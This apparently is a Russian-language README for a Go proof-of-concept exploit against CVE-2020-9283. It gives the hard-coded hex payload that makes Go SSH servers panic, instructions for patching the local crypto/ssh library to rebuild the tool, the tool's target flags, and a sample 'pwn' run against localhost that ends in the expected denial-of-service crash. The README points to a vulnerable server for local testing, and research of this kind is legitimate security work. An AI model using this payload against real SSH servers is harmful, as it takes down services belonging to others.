
Exploit for CVE-2020-9283 based on Go
Этот проект вдохновлен оригинальным PoC, найденным здесь github.com/mark-adams/exploits/CVE-2020-9283. Мне было любопытно, как реализована библиотека SSH на Go, поэтому я решил реализовать PoC на Go.
Краткое описание можно найти здесь https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
Это вызывает панику на SSH-сервере на Go, что может привести к DoS.
Я выпустил бинарники в разделе Release, однако вы можете пересобрать свои, используя прилагаемый исходный код.
Я решил изменить библиотеку Go crypto непосредственно в своей системе, чтобы понять, как она работает. Это не идеально и, вероятно, не лучший способ, но работает ;) Если вы хотите пересобрать с использованием модулей Go, замените содержимое файлов Crypto/ssh client_auth.go, handshake.go, transport.go в вашей локальной системе на файлы с расширением ".bak", находящиеся здесь. Эти измененные файлы содержат подробный вывод отладки и жестко заданную полезную нагрузку "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161", которая вызывает панику.
Вы увидите много отладочного вывода и "ошибок", это ожидаемо. Если ваша цель вызвала панику, вы должны увидеть ошибки, связанные с "bad key lengths". Если вы хотите протестировать это локально, используйте уязвимый код, который можно найти здесь github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'